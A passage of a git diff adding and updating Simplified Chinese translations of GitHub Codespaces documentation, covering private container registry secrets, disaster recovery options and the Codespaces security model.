codespace 期间无缝地将容器映像拉取到 {% data variables.product.prodname_github_codespaces %} 中,而无需提供任何身份验证凭据。 对于其他映像注册表,必须在 {% data variables.product.prodname_dotcom %} 中创建机密以存储访问详细信息,这将允许 {% data variables.product.prodname_github_codespaces %} 访问存储在该注册表中的映像。 + +## 访问存储在 {% data variables.packages.prodname_ghcr_and_npm_registry %} 中的映像 + +{% data variables.packages.prodname_ghcr_and_npm_registry %} 为 {% data variables.product.prodname_github_codespaces %} 使用开发容器映像提供了最简单的方法。 + +有关详细信息,请参阅“[使用容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)”和“[使用 npm 注册表](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)”。 + +### 访问发布到与代码空间相同的仓库的映像 + +如果将容器映像发布到启动 codespace 的相同存储库中的 {% data variables.packages.prodname_ghcr_or_npm_registry %},你将能够在创建 codespace 时自动提取该映像。 无需提供任何其他凭据,除非在发布容器映像时未选中“从存储库继承访问权限”选项。 + +#### 从发布映像的仓库继承访问权限 + +默认情况下,将容器映像发布到 {% data variables.packages.prodname_ghcr_or_npm_registry %} 时,该映像将继承从中发布映像的存储库的访问设置。 例如,如果仓库是公共的,则映像也是公共的。 如果仓库是私有的,则映像也是私有的,但可以从仓库访问。 + +此行为由“从存储库继承访问权限”选项控制。 通过 {% data variables.product.prodname_actions %} 发布时,默认情况下会选择“从存储库继承访问权限”,但在使用 {% data variables.product.pat_generic %} 直接发布到 {% data variables.packages.prodname_ghcr_or_npm_registry %} 时,不会选择该选项。 + +如果在发布映像时未选择“从存储库继承访问权限”选项,则可以手动将存储库添加到已发布容器映像的访问控制中。 有关详细信息,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)”。 + +### 访问发布到组织、代码空间将在 其中启动的映像 + +如果希望组织中的所有代码空间都可以访问容器映像,建议发布具有内部可见性的容器映像。 这将自动使映像对组织内的所有代码空间可见,除非从中启动代码空间的仓库是公开的。 + +如果代码空间是从引用内部或私有映像的公共公共仓库启动的,则必须手动允许公共公共仓库访问内部容器映像。 这可以防止内部映像意外公开泄露。 有关详细信息,请参阅“[确保 Codespace 访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)”。 + +### 从组织中仓库的子集访问私有容器 + +如果要允许组织的存储库子集访问容器映像,或者允许从在公共存储库中启动的 codespace 访问内部或专用映像,则可以手动将存储库添加到容器映像的访问设置。 有关详细信息,请参阅“[确保 Codespace 访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)”。 + +### 从代码空间发布容器映像 + +从 codespace 到 {% data variables.packages.prodname_ghcr_or_npm_registry %} 的无缝访问仅限于拉取容器映像。 如果要从 codespace 内部发布容器映像,则必须结合使用 {% data variables.product.pat_v1 %} 与 `write:packages` 作用域。 + +我们建议通过 {% data variables.product.prodname_actions %} 发布映像。 有关详细信息,请参阅“[发布 Docker 映像](/actions/publishing-packages/publishing-docker-images)”和“[发布 Node.js 包](/actions/publishing-packages/publishing-nodejs-packages)”。 + +## 访问存储在其他容器注册表中的映像 + +如果要从不是 {% data variables.packages.prodname_ghcr_or_npm_registry %} 的注册表访问容器映像,{% data variables.product.prodname_github_codespaces %} 将检查是否存在三个机密,这些机密定义了容器注册表的服务器名称、用户名和 {% data variables.product.pat_generic %}。 如果找到这些密钥,{% data variables.product.prodname_github_codespaces %} 将在 codespace 中提供注册表。 + +- `<*>_CONTAINER_REGISTRY_SERVER` +- `<*>_CONTAINER_REGISTRY_USER` +- `<*>_CONTAINER_REGISTRY_PASSWORD` + +您可以在用户、仓库或组织级别存储密钥,从而在不同的代码空间之间安全地共享它们。 当您为私有映像注册表创建一组密钥时,您需要用一致的标识符替换名称中的 “<*>”。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)”和“[管理 {% data variables.product.prodname_github_codespaces %} 的存储库和组织的加密机密](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)”。 + +如果您在用户或组织级别设置机密,请确保将这些机密分配到仓库,您将从下拉列表中选择访问策略来创建代码空间。 + +![映像注册表密钥示例](/assets/images/help/codespaces/secret-repository-access.png) + +### 示例机密 + +如果您在 Azure 中拥有私有映像注册表,则可以创建以下机密: + +``` +ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io +ACR_CONTAINER_REGISTRY_USER = acr-user-here +ACR_CONTAINER_REGISTRY_PASSWORD = +``` + +有关通用映像注册表的信息,请参阅“[通用映像注册表服务器](#common-image-registry-servers)”。 请注意,访问 AWS Elastic Container Registry (ECR) 是不同的。 + +![映像注册表密钥示例](/assets/images/help/settings/codespaces-image-registry-secret-example.png) + +添加机密后,您可能需要停止并启动您所在的代码空间,以便将新的环境变量传递到容器。 有关详细信息,请参阅“[暂停或停止 codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。 + +#### 访问 AWS Elastic Container Registry + +要访问 AWS 弹性容器注册表 (ECR),您可以提供 AWS 访问密钥 ID 和私有密钥,{% data variables.product.prodname_dotcom %} 可以为您检索访问令牌并代表您登录。 + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = +*_CONTAINER_REGISTRY_PASSWORD = +``` + +你还必须确保具有适当的 AWS IAM 权限来执行凭据交换(例如 `sts:GetServiceBearerToken`)以及 ECR 读取操作(`AmazonEC2ContainerRegistryFullAccess` 或 `ReadOnlyAccess`)。 + +或者,如果您不希望 GitHub 代表您执行凭证交换,则可以提供通过 AWS 的 API 或 CLI 获取的授权令牌。 + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = AWS +*_CONTAINER_REGISTRY_PASSWORD = +``` + +由于这些令牌的生存期较短,需要定期刷新,因此我们建议提供访问密钥 ID 和机密。 + +尽管这些机密可以具有任何名称,但只要 `*_CONTAINER_REGISTRY_SERVER` 是 ECR URL,仍建议使用 `ECR_CONTAINER_REGISTRY_*`,除非你正在处理多个 ECR 注册表。 + +有关详细信息,请参阅 AWS ECR 的“[专用注册表身份验证文档](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)”。 + +### 通用映像注册表服务器 + +下面列出了一些通用映像注册表服务器: + +- [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/` +- [GitHub 容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io` +- [Azure 容器注册表](https://docs.microsoft.com/azure/container-registry/) - `.azurecr.io` +- [AWS 弹性容器注册表](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `.dkr.ecr..amazonaws.com` +- [Google Cloud 容器注册表](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US)、`eu.gcr.io` (EU)、`asia.gcr.io` (Asia) + +## 调试私有映像注册表访问 + +如果在从专用映像注册表中提取映像时遇到问题,请确保能够使用上述机密值运行 `docker login -u -p `。 如果登录失败,请确保登录凭据有效,并且您在服务器上具有提取容器映像的适当权限。 如果登录成功,请确保将这些值适当地复制到正确的 {% data variables.product.prodname_github_codespaces %} 机密中,无论是在用户、仓储库还是组织级别,然后重试。 diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry.md b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry.md new file mode 100644 index 0000000000..36bc527d8c --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-registry.md @@ -0,0 +1,129 @@ +--- +title: 允许 codespace 访问专用注册表 +intro: '你可以允许 {% data variables.product.prodname_github_codespaces %} 访问专用注册表中的容器映像或其他包。' +versions: + fpt: '*' + ghec: '*' +topics: + - Codespaces +redirect_from: + - /codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry +shortTitle: Access a private registry +ms.openlocfilehash: 2957fe914e620b63a7ba0e2c38b6a949bd632fd6 +ms.sourcegitcommit: 6185352bc563024d22dee0b257e2775cadd5b797 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 12/09/2022 +ms.locfileid: '148193267' +--- +## 关于专用注册表和 {% data variables.product.prodname_github_codespaces %} + +注册表是用于存储、管理和提取容器映像的安全空间。 注册表有许多示例,例如: +- {% data variables.product.company_short %} 的 {% data variables.product.prodname_container_registry %}、Azure 容器注册表和用于容器映像的 DockerHub +- 用于 Node.js 包的 {% data variables.product.prodname_npm_registry %}。 + +某些 {% data variables.product.prodname_registry %} 注册表(包括 {% data variables.product.prodname_container_registry %})可以配置为允许在创建 codespace 期间无缝地将容器映像拉取到 {% data variables.product.prodname_github_codespaces %} 中,而无需提供任何身份验证凭据。 + +若要访问其他容器映像注册表,可在 {% data variables.product.prodname_dotcom %} 中创建机密以存储访问详细信息,这将允许 {% data variables.product.prodname_github_codespaces %} 访问存储在该注册表中的映像。 + +## 使用精细权限访问存储在注册表中的包 + +支持精细权限的 {% data variables.product.prodname_registry %} 注册表(包括 {% data variables.product.prodname_container_registry %})为 {% data variables.product.prodname_github_codespaces %} 使用包提供了最简单的方法。 有关支持精细权限和无缝 {% data variables.product.prodname_github_codespaces %} 访问的 {% data variables.product.prodname_registry %} 注册表的列表,请参阅“[关于 {% data variables.product.prodname_registry %} 的权限](/packages/learn-github-packages/about-permissions-for-github-packages#granular-permissions-for-userorganization-scoped-packages)”。 + +### 访问发布到与 codespace 相同的存储库的映像 + +如果在启动 codespace 的同一存储库中发布包,你将能够在创建 codespace 时自动提取该包。 无需提供任何其他凭据,除非在发布包时未选中“从存储库继承访问权限”选项。 + +#### 从发布包的存储库继承访问权限 + +默认情况下,包继承发布它的存储库的访问设置。 例如,如果存储库是公共的,则包也是公共的。 如果存储库是私有的,则包也是私有的,但可以从存储库访问。 + +此行为由“从存储库继承访问权限”选项控制。 通过 {% data variables.product.prodname_actions %} 发布时,默认情况下会选择“从存储库继承访问权限”,但在使用 {% data variables.product.pat_generic %} 直接发布到注册表时,不会选择该选项。 + +如果在发布包时未选择“从存储库继承访问权限”选项,则可以手动将存储库添加到已发布包的访问控制中。 有关详细信息,请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)”。 + +### 访问发布到组织、codespace 将在其中启动的包 + +如果希望组织中的所有 codespace 都可以访问包,建议发布具有内部可见性的包。 这将自动使包对组织内的所有 codespace 可见,除非从中启动 codespace 的存储库是公开的。 + +如果 codespace 是从引用内部或专用包的公共存储库启动的,则必须手动允许公共存储库访问内部包。 这可以防止内部包意外公开泄露。 有关详细信息,请参阅“[确保 Codespace 访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)”。 + +### 从组织中存储库的子集访问专用包 + +如果要允许组织的存储库子集访问包,或者允许从在公共存储库中启动的 codespace 访问内部或专用包,则可以手动将存储库添加到包的访问设置。 有关详细信息,请参阅“[确保 Codespace 访问你的包](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#ensuring-codespaces-access-to-your-package)”。 + +### 从 codespace 发布包 + +从 codespace 到注册表的无缝访问仅限于拉取包。 如果要从 codespace 内部发布包,则必须结合使用 {% data variables.product.pat_v1 %} 与 `write:packages` 作用域。 + +我们建议通过 {% data variables.product.prodname_actions %} 发布包。 有关详细信息,请参阅“[发布 Docker 映像](/actions/publishing-packages/publishing-docker-images)”和“[发布 Node.js 包](/actions/publishing-packages/publishing-nodejs-packages)”。 + +## 访问存储在其他注册表中的映像 + +可以定义机密以允许 {% data variables.product.prodname_github_codespaces %} 访问除 {% data variables.product.company_short %} 的 {% data variables.product.prodname_container_registry %} 以外的容器映像注册表。 如果要从不支持无缝访问的注册表访问容器映像,{% data variables.product.prodname_github_codespaces %} 将检查是否存在三个机密,这些机密定义了容器注册表的服务器名称、用户名和 {% data variables.product.pat_generic %}。 如果找到这些密钥,{% data variables.product.prodname_github_codespaces %} 将在 codespace 中提供注册表。 + +- `<*>_CONTAINER_REGISTRY_SERVER` +- `<*>_CONTAINER_REGISTRY_USER` +- `<*>_CONTAINER_REGISTRY_PASSWORD` + +您可以在用户、仓库或组织级别存储密钥,从而在不同的代码空间之间安全地共享它们。 当您为私有映像注册表创建一组密钥时,您需要用一致的标识符替换名称中的 “<*>”。 有关详细信息,请参阅“[管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)”和“[管理 {% data variables.product.prodname_github_codespaces %} 的存储库和组织的加密机密](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)”。 + +如果您在用户或组织级别设置机密,请确保将这些机密分配到仓库,您将从下拉列表中选择访问策略来创建代码空间。 + +![映像注册表密钥示例](/assets/images/help/codespaces/secret-repository-access.png) + +### 示例机密 + +如果您在 Azure 中拥有私有映像注册表,则可以创建以下机密: + +``` +ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io +ACR_CONTAINER_REGISTRY_USER = acr-user-here +ACR_CONTAINER_REGISTRY_PASSWORD = +``` + +有关通用映像注册表的信息,请参阅“[通用映像注册表服务器](#common-image-registry-servers)”。 请注意,访问 AWS Elastic Container Registry (ECR) 是不同的。 + +![映像注册表密钥示例](/assets/images/help/settings/codespaces-image-registry-secret-example.png) + +添加机密后,您可能需要停止并启动您所在的代码空间,以便将新的环境变量传递到容器。 有关详细信息,请参阅“[暂停或停止 codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。 + +#### 访问 AWS Elastic Container Registry + +要访问 AWS 弹性容器注册表 (ECR),您可以提供 AWS 访问密钥 ID 和私有密钥,{% data variables.product.prodname_dotcom %} 可以为您检索访问令牌并代表您登录。 + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = +*_CONTAINER_REGISTRY_PASSWORD = +``` + +你还必须确保具有适当的 AWS IAM 权限来执行凭据交换(例如 `sts:GetServiceBearerToken`)以及 ECR 读取操作(`AmazonEC2ContainerRegistryFullAccess` 或 `ReadOnlyAccess`)。 + +或者,如果您不希望 GitHub 代表您执行凭证交换,则可以提供通过 AWS 的 API 或 CLI 获取的授权令牌。 + +``` +*_CONTAINER_REGISTRY_SERVER = +*_CONTAINER_REGISTRY_USER = AWS +*_CONTAINER_REGISTRY_PASSWORD = +``` + +由于这些令牌的生存期较短,需要定期刷新,因此我们建议提供访问密钥 ID 和机密。 + +尽管这些机密可以具有任何名称,但只要 `*_CONTAINER_REGISTRY_SERVER` 是 ECR URL,仍建议使用 `ECR_CONTAINER_REGISTRY_*`,除非你正在处理多个 ECR 注册表。 + +有关详细信息,请参阅 AWS ECR 的“[专用注册表身份验证文档](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)”。 + +### 通用映像注册表服务器 + +下面列出了一些通用映像注册表服务器: + +- [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/` +- [GitHub 容器注册表](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io` +- [Azure 容器注册表](https://docs.microsoft.com/azure/container-registry/) - `.azurecr.io` +- [AWS 弹性容器注册表](https://docs.aws.amazon.com/AmazonECR/latest/userguide/Registries.html) - `.dkr.ecr..amazonaws.com` +- [Google Cloud 容器注册表](https://cloud.google.com/container-registry/docs/overview#registries) - `gcr.io` (US)、`eu.gcr.io` (EU)、`asia.gcr.io` (Asia) + +## 调试私有映像注册表访问 + +如果在从专用映像注册表中提取映像时遇到问题,请确保能够使用上述机密值运行 `docker login -u -p `。 如果登录失败,请确保登录凭据有效,并且你在服务器上具有提取容器映像的适当权限。 如果登录成功,请确保将这些值适当地复制到正确的 {% data variables.product.prodname_github_codespaces %} 机密中,无论是在用户、仓储库还是组织级别,然后重试。 diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md new file mode 100644 index 0000000000..4d2613415a --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md @@ -0,0 +1,56 @@ +--- +title: Codespaces 的灾难恢复 +intro: 本文描述了当整个地区因重大自然灾害或大范围服务中断而中断时,灾难恢复情景的指导。 +versions: + fpt: '*' + ghec: '*' +product: '{% data reusables.gated-features.codespaces %}' +topics: +- Codespaces +shortTitle: Disaster recovery +ms.openlocfilehash: d33c9e5f1af8775ae5f8f097ba3911edd348dd1a +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "145149346" +--- +我们努力确保您始终能够使用 {% data variables.product.prodname_codespaces %}。 但是,超出我们控制范围的力量有时会以导致计划外服务中断的方式影响服务。 + +虽然灾难恢复情况很少发生,但我们建议您为整个区域出现中断的可能性做好准备。 如果整个区域遇到服务中断,则数据的本地冗余副本将暂时不可用。 + +以下指南提供了如何处理部署代码空间的整个区域的服务中断的选项。 + +{% note %} + +注意:可以通过频繁推送到远程存储库来减少服务中断的潜在影响。 + +{% endnote %} + +## 选项 1:在另一个区域中创建新的代码空间 + +如果发生区域性断电,我们建议您在未受影响的区域中重新创建代码空间以继续工作。 此新代码将包含您上次推送到 {% data variables.product.prodname_dotcom %} 后的所有更改。 有关手动设置另一个区域的信息,请参阅“[为 Codespaces 设置默认区域](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)”。 + +你可以通过在项目存储库中配置 `devcontainer.json` 来优化恢复时间,这样可定义工具、运行时间、框架、编辑器设置、扩展以及其他自动恢复开发环境所需的配置。 有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)”。 + +## 选项 2:等待恢复 + +在此情况下,不需要采取任何操作。 但要知道,我们正在努力还原服务的可用性。 + +你可以在[状态仪表板](https://www.githubstatus.com/)上查看当前服务状态。 + +## 选项 3:本地克隆存储库或在浏览器中编辑 + +虽然 {% data variables.product.prodname_codespaces %} 具有预配置的开发者环境的优点,但您的源代码应该始终可以通过 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库访问。 如果发生 {% data variables.product.prodname_codespaces %} 中断,您仍然可以本地克隆存储库或在 {% data variables.product.company_short %} 浏览器编辑器中编辑文件。 有关详细信息,请参阅“[编辑文件](/repositories/working-with-files/managing-files/editing-files)”。 + +虽然此选项没有为您配置开发环境, 但它允许您在等待服务中断解决时根据需要更改源代码。 + +## 选项 4:对本地容器化环境使用远程容器和 Docker + +如果存储库具有 `devcontainer.json`,请考虑在 {% data variables.product.prodname_vscode %} 中使用[远程容器扩展](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)构建并连接到存储库的本地开发容器。 此选项的设置时间将因您本地规格和开发容器设置的复杂性而异。 + +{% note %} + +注意:在尝试使用此选项之前,请确保本地设置满足[最低要求](https://code.visualstudio.com/docs/remote/containers#_system-requirements)。 + +{% endnote %} diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/security-in-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/security-in-codespaces.md new file mode 100644 index 0000000000..6cadc7d642 --- /dev/null +++ b/translations/zh-CN/content/codespaces/codespaces-reference/security-in-codespaces.md @@ -0,0 +1,121 @@ +--- +title: 代码空间中的安全性 +intro: '{% data variables.product.prodname_codespaces %} 安全体系结构概述,包括可帮助您维护安全性并最大限度地降低攻击风险的指导原则。' +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +topics: +- Codespaces +- Security +type: reference +shortTitle: Security in Codespaces +ms.openlocfilehash: 679cc2de9b31159f4162eaea473ca9dd5001d22d +ms.sourcegitcommit: dc42bb4a4826b414751ffa9eed38962c3e3fea8e +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: "146764569" +--- +## 代码空间安全性概述 + +默认情况下,{% data variables.product.prodname_codespaces %} 设计为加强安全性。 因此,您需要确保您的软件开发实践不会降低代码空间的安全状况。 + +本指南介绍了 Codespaces 保持开发环境安全的方式,并提供了一些有助于在工作时维护安全性的良好做法。 与任何开发工具一样,请记住,您只应在您了解和信任的存储库中打开和工作。 + +### 环境隔离 + +{% data variables.product.prodname_codespaces %} 旨在使代码空间彼此独立,每个代码空间都使用自己的虚拟机和网络。 + +#### 隔离的虚拟机 + +每个代码空间都托管在其自己的新建虚拟机 (VM) 上。 两个代码空间永远不会共存于同一 VM 上。 + +每次重新启动代码空间时,都会将其部署到具有最新可用安全更新的新 VM。 + +#### 隔离的网络 + +每个代码空间都有自己隔离的虚拟网络。 我们使用防火墙来阻止来自互联网的传入连接,并防止代码空间在内部网络上相互通信。 默认情况下,允许代码空间与互联网建立出站连接。 + +### 身份验证 + +可以使用 Web 浏览器或从 {% data variables.product.prodname_vscode %} 连接到 codespace。 如果从 {% data variables.product.prodname_vscode_shortname %} 进行连接,系统会提示通过 {% data variables.product.product_name %} 进行身份验证。 + +每次创建或重新启动代码空间时,都会为其分配一个具有自动到期期的新 {% data variables.product.company_short %} 令牌。 此时间段允许您在代码空间中工作,而无需在典型的工作日内重新进行身份验证,但降低了在停止使用代码空间时使连接保持打开状态的可能性。 + +令牌的作用域将根据您对创建代码空间的存储库的访问权限而有所不同: + +- **如果你具有对存储库的写入访问权限**:令牌的作用域将限定为对存储库的读/写访问权限。 +- **如果只对存储库具有读取访问权限**:令牌将仅允许从源存储库克隆代码。 如果尝试推送到只有读取访问权限的私有存储库, {% data variables.product.prodname_codespaces %} 将提示您创建存储库的个人分支。 然后,令牌将被更新为对新的个人复刻具有读/写访问权限。 +- **如果已启用 codespace 以访问其他存储库**:当 codespace 被授予 [对其他存储库的访问权限](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)时,从该存储库创建的任何 codespace 都将具有作用域为源存储库的读/写令牌。 此外,令牌还将获得对用户或组织指示的其他存储库的读取访问权限。 + +组织的管理员指定应将哪些存储库视为受信任。 管理员可以[选择信任](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)全部或部分组织的存储库或不信任任何储存库。 代码空间访问资源的权限不能高于其创建者,即使组织管理员已向所有用户和所有存储库授予访问权限也是如此。 + +### 代码空间连接 + +您可以使用 {% data variables.product.prodname_codespaces %} 服务提供的 TLS 加密隧道连接到代码空间。 只有代码空间的创建者才能连接到代码空间。 使用 {% data variables.product.product_name %} 对连接进行验证。 + +如果需要允许对代码空间上运行的服务进行外部访问,可以为专用或公共访问启用端口转发。 + +### 端口转发 + +如果需要连接到在代码空间内运行的服务(如开发 Web 服务器),则可以配置端口转发以使该服务在互联网上可用。 + +组织所有者可以限制公开或在组织内提供转发端口的能力。 有关详细信息,请参阅“[限制转发端口的可见性](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)”。 + +**专用转发端口**:可通过 Internet 访问,但仅供 codespace 创建者访问(在对 {% data variables.product.product_name %} 进行身份验证后)。 + +**组织内公开转发的端口**:可通过 Internet 访问,但仅供与 codespace 相同组织的成员访问(在对 {% data variables.product.product_name %} 进行身份验证后)。 + +**公开转发的端口**:可通过 Internet 访问,Internet 上的任何人都可以访问它们。 访问公共转发的端口不需要身份验证。 + +默认情况下,所有转发的端口都是私密的,这意味着您需要先进行身份验证,然后才能访问该端口。 对代码空间的私密转发端口的访问由到期时间为 3 小时的身份验证 Cookie 控制。 当 Cookie 过期时,您将需要重新进行身份验证。 + +当您删除并重新添加端口时,或者重新启动代码空间时,公共转发端口将自动恢复为私密端口。 + +您可以使用“端口”面板为公共或私密访问配置端口,并且可以在不再需要端口转发时停止端口转发。 有关详细信息,请参阅“[在 codespace 中转发端口](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)”。 + +## 代码空间的良好安全实践 + +默认情况下,代码空间设计为加强安全性。 为了帮助保持此状态,我们建议您在开发过程中遵循良好的安全实践: + +- 与任何开发工具一样,请记住,您只应在您了解和信任的存储库中打开和工作。 +- 在将新的依赖项添加到代码空间之前,请检查它们是否维护良好,以及它们是否发布更新以修复其代码中发现的任何安全漏洞。 + +### 使用机密访问敏感信息 + +如果要在代码空间中使用敏感信息(如访问令牌),请始终使用加密的机密。 您可以在代码空间中以环境变量的形式访问您的机密,包括从终端访问。 例如,你可以在 codespace 中启动终端,并使用 `echo $SECRET_NAME ` 查看机密的值。 + +每当恢复或创建 codespace 时,机密值都会复制到环境变量,当它们更改时,也会进行同步。 + +如果你没有对 codespace 的存储库的写入访问权限,则机密不会复制到环境中。 + +有关机密的详细信息,请参阅: +- [管理 codespace 的加密机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces) +- [为 Codespaces 管理存储库和组织的加密机密](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces) + +### 使用其他人的贡献和存储库 + +从分支的 PR 分支创建代码空间时,代码空间中的令牌将根据存储库是公共的还是私有的而有所不同: +- 对于私有存储库,代码空间被授予对复刻和父级的访问权限。 +- 对于公共存储库,代码空间将只能访问父级上的复刻和打开的 PR。 + +在这些场景中,我们还通过不向环境中注入任何 [codespace 机密](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)来进一步保护你。 + +### 其他良好做法 + +使用 {% data variables.product.prodname_codespaces %} 时,还应注意一些其他良好做法和风险。 + +#### 了解存储库的 devcontainer.json 文件 + +创建 codespace 时,如果找到存储库的 `devcontainer.json` 文件,则对其进行解析并用于配置你的 codespace。 `devcontainer.json` 文件可以包含强大的功能,例如安装第三方扩展和运行 `postCreateCommand` 中提供的任意代码。 + +有关详细信息,请参阅“[开发容器简介](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)”。 + +#### 通过功能授予访问权限 + +某些开发功能可能会给您的环境增加风险。 例如,提交签名、注入环境变量的机密、经过身份验证的注册表访问和包访问都可能带来潜在的安全问题。 我们建议您仅向需要访问权限的人员授予访问权限,并采用尽可能严格的策略。 + +#### 使用扩展 + +你安装的任何其他 {% data variables.product.prodname_vscode_shortname %} 扩展都可能带来更多风险。 为了帮助降低此风险,请确保仅安装受信任的扩展,并使它们始终保持最新。 diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/security-in-github-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/security-in-github-codespaces.md index c27003a29f..78881fbb85 100644 --- a/translations/zh-CN/content/codespaces/codespaces-reference/security-in-github-codespaces.md +++ b/translations/zh-CN/content/codespaces/codespaces-reference/security-in-github-codespaces.md @@ -1,6 +1,6 @@ --- -title: Security in GitHub Codespaces -intro: 'Overview of the {% data variables.product.prodname_github_codespaces %} security architecture, with guidelines to help you maintain security and minimize the risk of attack.' +title: GitHub Codespaces 中的安全性 +intro: '{% data variables.product.prodname_github_codespaces %} 安全体系结构概述,包括可帮助你维护安全性并最大限度地降低攻击风险的指导原则。' miniTocMaxHeadingLevel: 3 versions: fpt: '*' @@ -12,107 +12,112 @@ type: reference shortTitle: Security in Codespaces redirect_from: - /codespaces/codespaces-reference/security-in-codespaces +ms.openlocfilehash: 0e7fe9a7644f78fc0dfa6d5bb624c5d74f3d8713 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147111470' --- +## 代码空间安全性概述 -## Overview of codespace security +默认情况下,{% data variables.product.prodname_github_codespaces %} 设计为加强安全性。 因此,您需要确保您的软件开发实践不会降低代码空间的安全状况。 -{% data variables.product.prodname_github_codespaces %} is designed to be security hardened by default. Consequently, you will need to ensure that your software development practices do not risk reducing the security posture of your codespace. +本指南介绍了 Codespaces 保持开发环境安全的方式,并提供了一些有助于在工作时维护安全性的良好做法。 与任何开发工具一样,请记住,您只应在您了解和信任的存储库中打开和工作。 -This guide describes the way {% data variables.product.prodname_github_codespaces %} keeps your development environment secure and provides some of the good practices that will help maintain your security as you work. As with any development tool, remember that you should only open and work within repositories you know and trust. +### 环境隔离 -### Environment isolation +{% data variables.product.prodname_github_codespaces %} 旨在使 codespace 彼此独立,每个 codespace 都使用自己的虚拟机和网络。 -{% data variables.product.prodname_github_codespaces %} is designed to keep your codespaces separate from each other, with each using its own virtual machine and network. +#### 隔离的虚拟机 -#### Isolated virtual machines +每个代码空间都托管在其自己的新建虚拟机 (VM) 上。 两个代码空间永远不会共存于同一 VM 上。 -Each codespace is hosted on its own newly-built virtual machine (VM). Two codespaces are never co-located on the same VM. +每次重新启动代码空间时,都会将其部署到具有最新可用安全更新的新 VM。 -Every time you restart a codespace, it's deployed to a new VM with the latest available security updates. +#### 隔离的网络 -#### Isolated networking +每个代码空间都有自己隔离的虚拟网络。 我们使用防火墙来阻止来自互联网的传入连接,并防止代码空间在内部网络上相互通信。 默认情况下,允许代码空间与互联网建立出站连接。 -Each codespace has its own isolated virtual network. We use firewalls to block incoming connections from the internet and to prevent codespaces from communicating with each other on internal networks. By default, codespaces are allowed to make outbound connections to the internet. +### 身份验证 -### Authentication +可以使用 Web 浏览器或从 {% data variables.product.prodname_vscode %} 连接到 codespace。 如果从 {% data variables.product.prodname_vscode_shortname %} 进行连接,系统会提示通过 {% data variables.product.product_name %} 进行身份验证。 -You can connect to a codespace 